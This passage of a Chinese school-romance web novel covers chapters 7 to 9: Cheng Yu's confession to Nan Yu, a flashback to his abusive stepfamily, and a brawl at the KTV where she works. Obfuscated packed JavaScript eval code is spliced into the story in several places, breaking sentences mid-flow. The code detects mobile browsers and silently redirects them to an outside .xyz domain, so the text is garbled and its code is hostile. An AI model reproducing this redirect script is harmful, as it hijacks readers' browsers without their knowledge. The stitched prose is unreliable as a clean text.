她有些紧张,生怕纸条上写了什么不好的东西。 南鱼没想到的是,那上面没写几个字。 不是因为你,别乱想。 落款程遇。 南鱼抿抿唇,将纸条收了起来塞到书包最里面。 打开写小说的笔记本,往上面狠狠地写了几个字。 就是因为你。 写完,南鱼“啪”地一下用力地合上了本子,声音大得吓得前面的人一激灵。 南鱼一整天心情都不太好,中午吃完饭趴在走廊的栏杆那刘德旋和她开玩笑她也不说话。 刘愿生小心翼翼问他:“她怎么了?” “不知道,”刘德旋摇头,又看了南鱼,猜测道,“可能是来了那个?” “哦哦,我知道了,我之前听其他女生说过,来那个了肚子就会疼,心情就不好,应该就是了。”刘愿生觉得刘德旋说得很有道理。 刘德旋问:“那咋办?” 刘愿生:“我去问问我前桌。” 刘愿生小跑回去,又小跑回来。再回来时,他拿了一包红糖。 刘德旋奇怪:“你拿这干啥?” “我前桌说这个泡热水有用。”刘愿生说。 刘德旋:“行,那给南姐试试吧。” 两人把东西给南鱼的时候,南鱼很奇怪为什么给她这个。 刘愿生一脸不好意思的说了一下他们的猜想。 南鱼笑了:“我真没,不是因为这个心情不好。” “那是因为啥,你给我俩说说呗!让我俩在这儿乱猜。”刘德旋说。 “我真没事,”南鱼摇头,“我要是有事——” “南鱼!”一道声音打断了她的话。 南鱼转身,程遇正朝她走过来。 “南鱼,我回来了。”程遇走到南鱼身边,笑着说。 南鱼愣了一下,“你怎么下午就来了?” “在家也没事儿,我已经好了,跟奶奶说过了就来了。”程遇说。 南鱼“哦”了声,不再说话。 程遇问:“我给你的纸条收到了么?” “收到了。”南鱼语气冷淡。 “那就好。” “不好。” “南鱼——”程遇叫她。 “程遇,以后我们还是不要在有任何联系了,”南鱼说,她是带着通知而不是商量的语气,“以后请你不要再跟我说话了,也不要再插手管我任何闲事儿,我希望你能听懂我说的话。” “我不喜欢。” 7. 第 7 章 空气中安静了许久。 就在南鱼准备转身离开的时候,程遇倏地抬起头,温和的看着她,“好像办不到呢。” 南鱼顿住脚步,她偏头,语气冷漠:“我可以。” 说完,她就进了教室,这次不再为他停下脚步。 程遇沉默地看着她的背影,直到她进了教室门才收回视线。 从知道上次是程遇借给南鱼校服后,刘德旋就对他没有了什么恶意。 目睹南鱼冷淡待他,刘德旋有些同情,他拍了拍程遇的肩膀,说:“没事儿,别难过,以后不理南姐就行了,她就这脾气。” 程遇:“……” 程遇看了他一眼,没有说话,也默默地进了教室。 刘愿生在一旁吃瓜吃得开心,两个主角都离开了,他反应过来撞了撞刘德旋胳膊,说:“南姐是因为他不开心吧。” “不知道,”刘德旋摇了摇头,“或许吧。” 刘愿生:“那我把红糖还给我前桌了。” “还吧,记得给人家买瓶水道谢。” “哦。” 程遇进了教室才发现南鱼的位置变了。 原来是看着树那边的窗户,现在坐在了后门边。 他走到南鱼旁边,垂眸问她:“你怎么坐这里?” “换位置需要跟你打报告么?”南鱼低着头,正拿着一本杂志看。 程遇问:“不需要,可是你换位置了,我怎么办?” 南鱼好笑的合起杂志,抬头看他:“你是小孩儿么?离了我不能活?” 程遇摇头:“不能。” 南鱼被噎住了,咬牙切齿道:“不能活那就别活了。” “我把位置搬过来。”程遇没给南鱼拒绝的机会,转身去搬书桌。 南鱼跟过去,抬腿坐在他的桌子上,压着不让他搬。 “我话已经说得够明白了吧,程遇,”南鱼双手交叉抱在胸前,“我觉得你这人挺厚脸皮的。” “是么?”程遇看她,“谢谢夸奖。” 南鱼:“……” “程遇!”南鱼是真的有些恼了,“为什么?” “什么为什么?” “你为什么非要黏着我。” “我喜欢你。” 南鱼:“?” 她觉得自己听错了。 程遇看着她又说了一遍:“我喜欢你。” 他的语气平淡,像是在说一件很平常的事情。 他平静地看着南鱼,南鱼的耳朵瞬间滚烫。 最后南鱼落荒而逃了。 逃走之前,她还丢下一句话,“你不许跟过来。” 程遇知道南鱼害羞了,他最终没有把桌子搬到南鱼旁边。 南鱼走后,听到了全过程八卦的万高达转过身来,一脸震惊且复杂的看着程遇。 “不是我说,哥们儿,你这也太勇了吧……” 当面朝南鱼表白,他是第一个。 “有么?还好吧。”程遇十分冷静,一点都不像刚才表白过的人。 万高达的同桌刘念娣也偷偷看他,程遇面不改色,把刚才装进书包里的书一一掏出来整理归类放好。 “你为什么会喜欢南鱼?对她一见钟情么?”万高达十分好奇。 程遇摇头:“不是。” “啊?你跟她也没相处两天吧?怎么就喜欢上了?” 程遇摆好书,认真地回答:“我很早之前就认识她了。” 万高达更震惊了。 居然还有他不知道的八卦。 “什么时候认识的?快给我讲讲。” 程遇往南鱼的位置那看了一眼,南鱼趴在桌子上不知道在干嘛。 他收回眼神,笑着摇头:“等以后吧。” “好吧。”吃瓜没吃到,万高达有些失望。 程遇感受到自己斜前方炙热的视线,他看过去时,刘念娣已经坐好了。 程遇没在意,翻开一本书,陷入了思绪中。 什么时候确定了对南鱼的感情呢? 大概是很久很久之前吧。 他跟着程佑军进了城里住下,三室一厅,对于当时从未出过山内镇里的程遇来说已经是很豪华的房子了。 程佑军和王秀敏住主卧,还剩下两间房间,一间朝阳宽敞,一间有些背阴偏小。 两间房,两个孩子,刚好一人一间。 王秀敏跟程佑军说:“小宿还小,需要多晒晒太阳长高,就让他住那间大房子吧。” 程佑军同意了,他对程遇说:“你收拾收拾住另一间。” 像是怕程遇委屈,他又补充了句,“你是哥哥,多照顾点弟弟。” 程佑军从钱包里掏出来两张百元大钞塞到他手里,“拿着明天想吃什么和弟弟一起买。” 程宿见程佑军给了他钱,闹着说:“我也要钱,我也要,爸爸偏心。” 程佑军轻弹了一下程宿脑门,宠溺笑道:“你小,你哥哥先装着钱,明天哥哥带你去买吃的。” “我不要。”程宿还在闹。 程佑军从钱包里拿出来几张十块的零钱给他。 “我的为什么比哥哥少。”程宿不满意。 王秀敏按住他的肩膀,“听话,小宿,晚点儿妈妈有话给你说。” 程宿最听王秀敏的话,她一开口程宿就不再闹了。 到了晚上的时候,程遇坐在房间里发呆,他看着从老家带过来的东西,心里隐隐有种悲伤的感觉。 程宿推门进到了他的房间,跑到他面前伸手毫不客气地说:“把今天爸爸给你的钱拿来。” 程遇抬头,冷淡的看着他,“凭什么。” “爸爸的东西全都是我的,把钱拿来。”程宿皱着眉看他。 程遇冷笑一声,“我不给。” 程宿看了一圈他的房间,最终视线落在了书桌的柜子里。 “是在这儿对吧,我自己拿。”程宿去翻程遇柜子。 “你干什么?”程遇生气了,他把程宿用力地推开。 “你把钱给我!”程宿也去推他。 两人扭打在了一起。 程遇朝着程宿的脸打了一拳,程宿往后退两步,撞到了桌角,他一屁股坐在地上,捂着脑袋哇哇大哭。 听到这边动静,程佑军和王秀敏跑了进来。 看到儿子脸上的血,王秀敏惊呼一声,跑过去抱住他,“杀千刀的,我真是欠了你们家的,程遇,你为什么把你弟弟打成这样?” 程佑军怒视着程遇:“你打你弟弟干嘛?” “他抢我钱。”程遇说。 “胡说,小宿怎么可能抢你钱!我刚才又给他一百,他怎么会来抢你钱!”王秀敏带着哭腔。 “敢做不敢当么?”程遇冷笑,“谁知道是不是你给他出的主意。” 程佑军火了,他扇了程遇一巴掌,巴掌声清脆,他很用力,程遇的脸瞬间红了起来。 “你怎么跟你阿姨说话呢!就算是你弟弟来找你要钱,你也不能把他打成这样!” 程遇面无表情地看着他,“爸,我不是你的儿子么?” 程佑军皱起了眉,不明白程遇问这个干什么,“你不是我儿子是谁儿子。” 程遇笑了声,他摸了摸火辣辣的左脸,看着程佑军说:“我还以为我是您捡来的呢,真是可惜,我是您生的。” 程佑军懂了,程遇的意思是他不配当他爹。 被自己的儿子这么说,男人的自尊心让程佑军暴怒了。 他大口喘气,指着门外,“滚!你给我滚!” 程遇头也不回的出门了。 漆黑的街道,凉飕飕的风吹着。 程遇不知道自己该去哪,他失了魂的走在路上。 他突然很想很想南鱼,那个唯一给过她温暖的人。 他想起南鱼对他说过,如果你再被你后妈赶出家门,你就来找我,在我家住。 对,找南鱼,南鱼一定会收留他的。 程遇眼睛亮了,他往汽车站的方向跑。 到了汽车站,半夜已经没车了。 他缩在一个有亮光的角落等待天亮。 天一亮,程遇立马坐车回山内镇。 辗转几次,换了几辆车,程遇终于回来了。 一下车,他小跑着去找南鱼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283276|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南鱼家大门紧闭,程遇在外敲门。 “南鱼!南鱼!我回来了!南鱼你开门!” 程遇敲了好久的门都没人开,他以为家里没人,靠着门坐在那等她。 他在车站呆了一夜,又坐了好几个小时的车,他又饿又困,靠着门睡着了。 南鱼奶奶回来看到他,把他叫醒,听他说要找南鱼带他进了院子。 南鱼就在院子里坐着,奶奶问:“你不是一直在家,怎么不给小遇开门?” “你来找我干什么?”南鱼看着程遇问。 “南鱼,我很想你,我想来找你。”程遇说。 “想我?你为什么想我?我又不是你什么人,”南鱼轻嗤,“你走吧,我不欢迎你。” “南鱼——”程遇看着南鱼,“我想你,因为我喜欢——” 程遇想说他喜欢南鱼,他很喜欢南鱼。 回来的路上,他一直在思考这个问题,为什么他会这么这么的想她,他想见她,想听她的声音。 或许是喜欢吧。 这个念头一闪现,程遇忽然想通了。 对,他喜欢南鱼,所以想见她。 虽然当时的他还不是特别清楚喜欢是什么,他只知道他想和南鱼在一起。 所以他来找她了。 “程遇,”南鱼打断了他接下来的话。 “我不喜欢没用的人,”她说,“你弱成这个样子,你反抗不了你的后妈,你被人推进水里差点死去,你很没用,我不喜欢没用的人。” 程遇脸一下煞白,他握了握拳。 最终垂下眼说:“我知道了。” 程遇走了。 他又回去了。 程佑军找不到他急得团团转,看到他回来,没忍住又想打他耳光,但看到他憔悴的脸,终究没下去手。 从那天起,程遇学会了收敛,他很懂得如何讨好程佑军欢心,他拿出了一个好成绩,和程佑军扮演着父慈子孝的场景。 每次在深夜,他都会一遍又一遍回忆起南鱼对他说的话。 他暗下决心,一定要努力,一定要变得很优秀很优秀,他总有一天会再次站在南鱼面前,对她说,看,现在我不是没用的人了。 这个执念一直追随着他,随着时间的流逝越来越深刻,他对南鱼的思念也愈来愈深。 南鱼就是支撑他在这个冷漠的家里活下去的动力。 ...... 程遇发现南鱼一直在躲着他。 他只要一往后门走,南鱼就先一步离开座位。 他根本没办法也没机会再找南鱼说话。 直到南鱼把他的校服放到了他的座位上。 程遇拿着校服找她。 南鱼看到他朝自己走过来,连忙想要躲开。 程遇小跑几步拦住她。 “南鱼。”程遇叫她。 南鱼有些不自在:“干嘛。” “我的校服你拿着吧,我又新买了一件,”程遇把校服塞到她手里,“可不能再还给我了,会露馅。” 南鱼:“?” “我跟我奶奶说那天不小心把校服弄丢了所以才被罚站,你再还给我岂不是告诉我奶奶我那天撒了谎。”程遇说。 南鱼:“......” 南鱼心情复杂,“你为什么这么做?” “你是十万个为什么?怎么一直再问为什么?”程遇笑,“如果你想知道答案,那就权当作是因为我喜欢你才这么做。” “程遇,你真的是!”南鱼耳尖又红了,她瞪了程遇一眼,“无可救药!” 南鱼又跑开了,程遇忍不住笑了。 刘德旋和刘愿生遇到南鱼。 刘德旋和她打招呼:“南姐,你手里怎么拿着校服?” 南鱼看了一眼手中的衣服,想起程遇,瞬间觉得有些烫手。 她耳尖红得更厉害了,不耐烦地说:“管你什么事儿?” 说完,转身就走。 留下一脸懵逼的刘德旋:“她吃火药了?” “不知道,”刘愿生摇头,“她耳朵红了。” “我想可能是害羞了吧。” 8. 第 8 章 体育课上,程遇坐在操场边上看着其他人跑步。 跑步的人分成了两队,一队男生,一队女生,南鱼在女生队伍的最后方。 程遇的目光一直追随着她,看着她的身影由远及近。 跑完步接下来开始做操,程遇也在队伍里跟着做。 他在南鱼的后方,注意到南鱼一直在偷偷划水,每一个动作都做了,但做的都不规范。 做完操就解散自由活动。 班里的同学三三两两散开,程遇看到南鱼朝着某处走去,他跟了上去。 南鱼察觉到,她停下脚步,回身看他,“我去女厕所你也要跟着?” 程遇:“......” 程遇不再跟着她。 “等你从厕所出来我们能好好谈谈么?”他问。 “等我出来再说。”南鱼摆手。 程遇找了一处阴凉的地方坐下,万高达从茫茫人海中搜寻到了他,跑过来坐到他身边,身体往后倒,双手撑地,“你不跑步真的好爽,快累死了。” “我倒是觉得你们能跑步挺好的。”程遇说。 万高达突然直起身,“哎?我还没问你呢,你为什么不能跑步啊?” “你猜?” “因为身体不好?”万高达还记得程遇那天倒在升旗台上的事儿。 程遇“嗯”了一声,没有作多解释。 万高达也是个有分寸的人,知道什么该问什么不该问,这个话题就此揭过。 坐了有一会儿,程遇还是没看到南鱼出来。 他想往厕所那边去,还没起身,两个女生挡在了他面前。 左边的女生脸颊有些红红的,她看向程遇的眼睛亮晶晶的,女生深呼吸了一下,捏着衣角像是鼓起了很大了勇气,对着程遇说:“你好,我叫周雨舒,是三班的,能认识下你么?” 在女生期待的眼神下,程遇摇头:“不能。” 女生有些失望,她没想到程遇拒绝的这么干脆。 旁边的女生握了握她的手,似乎给了她勇气,女生又问:“能给我你的□□号么?” “抱歉。” 简短二字,堵住了女生接下来的话,女生委屈的离开了。 万高达冲他比了个大拇指,感叹道:“你可真受欢迎啊。” “还好。”程遇眸光平静。 万高达呵呵两声,“您真谦虚。” 程遇又等了很久,等到下课他都没能等到南鱼。 南鱼从厕所出来,看到围在程遇身边的两个女生。她冷哼一声,招呼没打就走了。 体育课有规定,下课前不能离开操场。但南鱼并不在意什么规定,出了操场就往教室走。 上课时间,走廊里静悄悄的。 南鱼是从后门进教室的,她刚推开门,就听到“吧嗒”一声响。 是她的文具盒掉到了地上。 一个女生正蹲在地上,慌乱的捡从文具盒洒落一地的笔。 女生把笔捡好装到文具盒里,抬头看到进来的是南鱼,脸色有些惨白。 “对不起,对不起,我不是故意的。”她道歉。 南鱼看清了女生的脸,是她原来座位的前桌,刘念娣。 在她的印象里,刘念娣是一个很胆小的人,平时连和她对视都不敢,今天怎么会来她的座位上,南鱼有些奇怪。 “没事儿。”南鱼目光淡然。 “你落东西了。”南鱼看到她桌子上明显不属于她的物品,叫她。 刘念娣转身,脸上带着些害怕,她犹豫了一下,低着头跑过来把饮料拿走。 拿走后,她似乎又后悔了,她站在那里看着南鱼。 南鱼摸了摸脸,奇怪道:“我脸上有什么东西?” 刘念娣摇头,她似乎下了某种决心,快步走到南鱼面前,把饮料又放到了她的桌子上,“给你的。” “给我?”南鱼有些莫名,“为什么给我?” “程遇说他喜欢你,”刘念娣低着头不敢看南鱼,“他是一个挺好的人,所以,所以......” “所以什么?”看着面前瘦弱的小姑娘,南鱼胳膊抱在胸前,耐心的问。 “所以你能不能也喜欢他。”刘念娣豁出去了,她闭着眼睛将自己心里的想法告诉南鱼。 南鱼:“......?” 什么情况? “我,我觉得他真的很好,所以不想让他伤心......”刘念娣的脸红彤彤的,她的脑袋快要垂到地上,声音也越来越小。 南鱼了然。 程遇又骗了一个小姑娘的真心。 “我知道了,不过感情的事情不好说,如果你喜欢他,你也可以争取的。”南鱼说。 刘念娣猛地摇摇头:“我不可以的,我不配。” 她的头垂得更低了。 “我爸爸说我是女生是赔钱货,比不上我弟弟,什么好东西我都不配拥有......” “那是他放屁!”南鱼声音抬高爆了粗口。 刘念娣吓得一激灵,她抬头有些害怕的看着南鱼。 南鱼声音尽量放缓,“任何人都拥有追逐美好事物的权力,你也不例外,别听你爸的屁话。女生怎么了?咱们女生也能拥有顶天立地的本事!你要相信你自己,你配得上世界上最好的东西。” 刘念娣张大了嘴巴,有些吃惊南鱼竟然能对她说出这样温柔的话。 “可是我爸说女生什么都比不上男生,男生力气大,能干重活,能传宗接代,干什么都比女生厉害,而女生干的都是一些小家子气的事情,生来就是给别人家养的。” 因为性格内向胆小,刘念娣很难遇到能和她交心的朋友,南鱼是第一个和她聊这些的人,她忍不住多说了两句。 “那你觉得我厉害么?”南鱼问。 刘念娣用力点头:“厉害!你很厉害,班里的男生都怕你。” “那不就是了,男生没有生来就比女生厉害,是很多人都在夸他们很厉害,他们什么都没干就觉得自己很厉害,但女生需要做很多事情才能证明自己很厉害。所以你不要觉得自己不行,你要相信,你也比他们厉害。” “我打架厉害,如果说是比学习,你看班长万以荣是我们班第一,那么多的男生都没超过她,她是不是也比那些男生厉害。” “所以女生并不比男生差,在每一个方面都是如此。” “是哦。”刘念娣有些迷糊。 但她觉得南鱼说得好有道理。 “你要喜欢程遇就去追吧,这瓶饮料我就不收了,你可以选择送给程遇。”南鱼把饮料还给她。 刘念娣回过神,慌忙把饮料又放到她桌子上。 “这瓶饮料我现在想送给你。”刘念娣不好意思的笑了笑。 南鱼:“?” 刘念娣整张脸红扑扑的:“谢谢你今天教我这么多道理,你是个好人,我喜欢你。” 南鱼:“!” 刘念娣说完害羞的跑回自己座位上。 下了铃声响起,南鱼看着桌子上的饮料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283277|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一脸复杂。 刘德旋和刘愿生依旧像往常一样来教室找南鱼。 看到南鱼桌上的饮料,刘德旋毫不客气地顺手拿了起来,拧开准备喝。 南鱼从他手中把饮料抢了回来。 到嘴的饮料飞了,刘德旋哀怨地看着南鱼:“你什么时候变得这么小气了。” “这是别人送给我的,想喝晚点我给你去超市买。”南鱼说。 “那行吧,”刘德旋叹气,“晚上一定要买!” 南鱼拍了下他的脑袋:“馋得你!” 刚才刘德旋拿起这瓶饮料时,南鱼余光看到刘念娣有些伤心的表情,她一时没忍住就把饮料抢了过来,小姑娘这才放心。 南鱼觉得她自己有病,干嘛那么在意别人的想法。 但一想到刘念娣对她说“我喜欢你”时,南鱼心里莫名柔软了一块。 “谁给你买的?”程遇的声音倏地在她身后响起。 “......”南鱼回身,程遇面无表情地看她。 “要你管。”南鱼说。 "我不管。"程遇转身离开。 明明两人没吵架,刘德旋和刘愿生觉得突然有股寒意。 “走?”刘德旋朝刘愿生示意。 “撤!”刘愿生点头。 笑话,明显能感觉出来南鱼心情不好的时候还是不要在她身边呆了,免得伤及无辜。 程遇态度突然对南鱼冷淡了下来, 南鱼觉得莫名其妙。 不过也好,不用整天追着她烦她了。 但她总觉得自己有些怪怪的。 这种感觉没持续半天,次日一早,南鱼的书桌上多了一瓶饮料,跟昨天一样的饮料。 南鱼以为还是刘念娣给的,她去找刘念娣,把饮料放到她桌上说,“你以后不用给我买这个了。” “嗯?”刘念娣眼神迷茫,小声说,“这个不是我买的。” “不是你买的?” “不是,”刘念娣小声说,“昨天买了那瓶后我已经没钱了。” 她说的可怜,南鱼能想象到她在那个恶劣的家庭中是如何一分一分攒下来钱买那瓶饮料的。 “没事,那你喝吧,你应该也很少喝吧。”南鱼神色柔和。 “不用不用。”刘念娣摆手。 南鱼绷起脸,不容拒绝地放到她位置上,“拿着,不然我不高兴。” “啊...谢谢你。”刘念娣真诚的道谢。 “不客气。” 南鱼觉得自己也算是难得的做了好事。 她一转身,程遇沉着脸看她。 南鱼不知道他又怎么了,准备绕过他离开。 “你怎么把我给你的饮料送给别人。” 程遇声音中莫名的带了点委屈。 南鱼脚步一顿。 “你给我的?”她惊讶。 “是我给你的,”程遇说,“昨天别人给你了一瓶你朋友要你都没给他,为什么把我这瓶送给别人。” 南鱼:“。” 她抿了下唇,有些心虚,“我不知道是你给我的。” 程遇垂眸,“就算你不喜欢我,南鱼,你这样我真的很伤心。” 南鱼有点无措。 “我昨天还在操场上等你了很久。”程遇接着说。 “那可不是我让你等的。”南鱼说。 “但我在操场上确实是在等你,今天你又把我送你的饮料送给别人。” “南鱼,你真有这么讨厌我么?” 9. 第9章 凭心而论,南鱼不讨厌程遇。 她只是觉得不知道该怎么和程遇相处。 虽然程遇说不是因为她才晕倒,可是南鱼已经把那件事划定为自己的责任。 如果不是程遇把校服给了她,他就不会被罚站,也不会晕倒。 她害怕在和程遇相处的时候再次伤害到他,无论是有意的或是无意的。 但程遇不这么想,他从来没有怪过她,他一直在用一颗真心对她。 他太真诚,南鱼不太敢靠近。 “我不讨厌你。”过了许久,南鱼才回答他。 “我只是觉得,我们不是同一路人,”南鱼眼睫垂下,扯了下唇角,“我们桥归桥路归路,各不打扰,行么?” 程遇不说话了,气氛一时僵在那儿。 直到上课铃声响了,两人各自回沉默回到自己座位。 刘念娣转身,小心翼翼看着脸色很不好的程遇,低声说,“那个,我不知道这个是你买给南鱼的,我把这个还给她吧。” “还有就是,她是因为昨天我给她买了一瓶这个饮料所以今天是还我的。”她解释。 “昨天她那瓶饮料是你买的?”程遇捕捉到重要信息。 刘念娣点头,“对啊。” “我知道了,”程遇心情稍微好了那么一点儿,“这瓶既然她给你了,那你拿着喝吧,不用还她了。” 刘念娣说好,但她总觉得这瓶饮料有些烫手。 她默默把饮料收好。 像是为了躲避什么,南鱼下课铃一响就离开了教室。 程遇加快速度收拾书包,万高达问:“今天要不要来我家看电影?《速度与激情6》。” 程遇头都没抬:“不去。” “你上次不是说也喜欢这部片子。”万高达说。 “我今天有事。”程遇收拾好东西,拎着书包迅速离开了。 万高达挠了挠头,看着他消失在窗外的背影,嘟囔了句,“今天怎么感觉有点奇怪。” 程遇下了楼,南鱼身影已经不见了。 他没有犹豫,快步往校门走。 放学学生很多,程遇在人群中寻找南鱼。 终于,他看到了南鱼和刘德旋他们三个。 程遇放缓了脚步,刻意保持距离,不至于让他被发现,也不至于跟丢。 走到镇上卖小吃的街道,程遇看到南鱼和刘德旋他们摆了摆手,往一条巷子里拐了进去。 程遇加快了脚步,他到了巷口,南鱼已经不知道去哪了。 还是跟丢了。 程遇绷紧了唇。 “哎?程遇?”刘德旋刚买了个饼夹菜,转身就看到了程遇站在那发呆。 程遇抬头,看到是刘德旋。 “你在这干什么?”刘德旋咬了一口烧饼问。 程遇想了一下,问:“南鱼去哪了?” “你找南姐啊,南姐去KTV了,”刘德旋说,“你找她有事儿啊。” 程遇点了下头,“谢谢。” 程遇往巷子里走。 巷子通往隔壁那一条街,在里面是七拐八绕,程遇走出来就看到那家KTV。 灯红酒绿的招牌,在这没有太多娱乐项目的小镇上,看起来就很扎眼。 他站在门口,看着有好几个染着乱七八糟颜色头发的男生往里进,还有一些大腹便便的男人。 他奇怪,为什么几乎没有看到女生来这里,南鱼来这里是做什么。 天色渐暗,刘雁花给程遇打了电话,程遇找了借口,说他今天在同学家吃饭会晚点回去。 刘雁花在电话对面叮嘱他:“注意安全,别贪玩,早点回来。” 程遇说了句“好”就挂了电话。 九月底的天黑的很快,程遇在门口站了许久也没见南鱼从里面出来。 他看了下时间,已经快八点了。 程遇很怀疑南鱼在不在里面,他决定进去看看。 走了进去,一股呛人的烟味袭来,程遇忍不住咳嗽了两声。 见门口来人,前台刘小妹招呼:“帅哥,来唱歌啊。” 程遇摇头,他努力让自己适应里面的环境,“我找人。” “找人?”刘小妹挑眉,上下打量着看起来这个像好学生的男生,笑问,“不知道你找谁?” “南鱼。”程遇说。 “南姐?”正好南鱼从楼上下来,刘小妹看到她,冲她招手,“南姐,有人找你。” 程遇转身,南鱼站在楼梯上垂眼看他。 “南鱼。”程遇朝她走去。 “你来干什么?”南鱼皱眉。 程遇回:“我来找你。” “找我干什么?” “南鱼,你在这里工作?”程遇没有回答她问题,岔开了话题。 南鱼“嗯”了声,“你回去吧,这不是你该来的地方。” “怎么不是?”程遇说,“我在市里的时候去过很多次KTV。” “不一样。”南鱼说。 程遇问:“有什么不一样?” 南鱼看着他执着的眼神,没有回答。 “麻烦给我开一个包间,谢谢。”程遇对刘小妹说。 “啊,好,开多久的?”刘小妹问。 程遇看南鱼:“你几点下班?” 南鱼:“?” “我等你下班。”程遇说。 “不需要。”南鱼声音冷硬。 程遇跟没听到她说话一样,对刘小妹说:“先给我开一个小时的吧。” “好,一共30元。” 程遇递过去一张百元大钞,刘小妹找了他70的零钱。 “203房间,”刘小妹问,“南鱼,你带他过去?” 南鱼抿了下唇,“跟我走吧。” 程遇跟着南鱼上楼。 楼梯是木制的,看着有一定的年份了,但看着很干净,不是那种到处充满黏糊糊常年不拖的样子。 楼上很吵,所有的KTV包间都在这儿,各个包间的鬼哭狼嚎的歌声,吵闹说笑声,夹杂着一些荤话,在走廊上听得一清二楚。 南鱼把程遇往包间带,遇到一个喝得有些醉的男人,男人朝南鱼坏笑,手上前想抓南鱼胳膊,嘴里还不干不净的说:“小妹妹,走,继续陪哥哥们喝酒啊,哥哥们有大宝贝给你看。” 南鱼刚准备侧身躲开,一只手拦在了她面前。 她偏头看,程遇沉着脸护着她,眼底泛着寒意。 “小弟弟,你这是什么意思?”男人眯眼看他,表情不善。 “别碰她。”程遇声音带着压抑的怒气。 “哟呵!你谁啊,还敢命令上我了?”男人撸起袖子,露出胳膊结实的肌肉,他上前一步,伸手去摸南鱼的脸,“我今天就碰她怎么了?你能把我怎么样?” 猝不及防地,程遇朝着他的脸打了一拳。 男人摸了下脸,彻底被激怒,“我操/你妈的!给脸不要脸!” 他朝程遇挥拳,程遇偏头去躲,但拳头还是擦脸而过,他被力度冲的往后退了半步。男人并没有给程遇喘息的时间,抬脚又往程遇肚子上踢。 程遇有些躲闪不及。 男人的脚快要踢到程遇,一道更大的力度先把他撞飞了出去。 他身体摔到墙上,发出痛苦的闷哼。 南鱼面无表情地走到他面前蹲下,拽住他的衣领,拍了拍他的脸,“想报复的话找我,听到了么?再敢对我说不三不四的话,我把你舌头割下来喂狗!” “你给我等着,我兄弟不会放过你,臭婊子!被人玩烂的玩意儿!”男人被钳制,他青筋暴起,嘴里仍旧骂骂咧咧的。 “行,我等着。” 南鱼松开他,起身,脚用力地往他裆部一踢,男人瞬间哀嚎起来。 “你的大宝贝看了我怕长鸡眼,那么点儿的玩意,也敢出来丢人现眼,不如废了算了。” 南鱼带着程遇下楼,刘小妹刚才就听到楼上动静,没敢上去。 看到他俩下来,连忙过去问,“怎么了南鱼。” “出了点事儿,你跟洲哥打电话让他来一趟。”南鱼说。 “洲哥马上到了,你先去休息室躲躲,有什么事儿阿虎先帮你挡着点。”刘小妹有些担忧。 南鱼点头,她带着程遇先到了休息室,把门反锁。 程遇看着她从柜子里拿出来一个医药箱放到他面前。 “脸抬起来。”南鱼语气很冷。 程遇乖乖地抬头。 她从医药箱里拿出来一个棉签沾了碘伏往程遇脸上涂。 他的脸被划了一道口子,不深,但也冒出了点血。 南鱼力度有些大,程遇轻轻“嘶”了一声。 “这会儿知道疼了?”南鱼冷笑,“刚才打架时候那股劲儿呢?” 程遇自觉理亏,没有接话。 涂完,南鱼将棉签丢到垃圾桶里,将药箱收了起来。 门外不远处响起了刚才那个男人的声音,“人呢?刚才那个小婊子呢?去哪了?赶紧把她给我交出来,我今天必须废了她!” “消消气,武哥,这都是多大点儿,”另一道陌生的男声响起,“给我个面子,今天就算了,你说你跟一个小姑娘置什么气呢?” “不行,今天必须把她给我交出来!” “来来来,我们这边谈,你先消消气,虎子,去给武哥拿个冰块,再拿盒好烟。” “......” 声音越来越远,他们不知道去了哪里,最后彻底听不到他们的说话声。 休息室内再次安静下来。 程遇看着南鱼,认真地问:“南鱼,你在这里到底是做的什么工作?” “我有必要什么都给你解释明白么?”南鱼语气有些冲,“你知不知道,今天你给我带来了多大的麻烦。” 程遇愣了一下,“对不起。” “对不起有用么?”南鱼冷哼一声,“程遇,我跟你说了不止一次,我们不是一个世界的人,麻烦以后你离我远点好不好!” 程遇垂眸,鸦长的眼睫在他脸上投下一层阴翳。 他的声音低沉下来。 “我没想到会给你带来这么大麻烦,他说的话太过分,我只是,不想看到你被这样对待。” “真的对不起。” 南鱼愣住了,她看着面前的男生。 他所有的骄傲在她面前褪下,只余下一身愧疚。 可是,明明也不是他的错。 他也只是想保护她。 两人默不作声地坐在休息室里。 直到休息室的门被敲响打破了这份寂静。 南鱼去开门,孙邢洲走了进来。 “解决了。”孙邢洲满脸疲惫。 南鱼道歉:“抱歉,洲哥,给你惹麻烦了。” 孙邢洲揉揉眉心,朝她挥了挥手,“我听小妹说了,他们说话也挺难听的,不怪你。” “这就是你那朋友吧?”孙邢洲看向程遇。 南鱼紧绷着脸不说话。 “吵架了?”孙邢洲察觉到这微妙的氛围,他点了根烟问。 程遇上前,“抱歉,刚才的事情其实是因为我,我太冲动了。” 孙邢洲抽了口烟,上下打量了他一眼,最终落在了他脸上的伤上,嗤了一声,“行了,别一个两个跟我道歉了。” “吃饭了么?我请你们吃饭。”孙邢洲说。 “不用了,我该回了。”南鱼拒绝。 孙邢洲笑:“今天这么不给我面子么?” “洲哥,我不是这意思。”南鱼皱眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“行,挺讲义气,南鱼有你这个朋友也不错。”孙邢洲意味不明的笑了一下。 第二杯酒下肚,程遇的不适感达到了顶峰,他的脸色有点白。 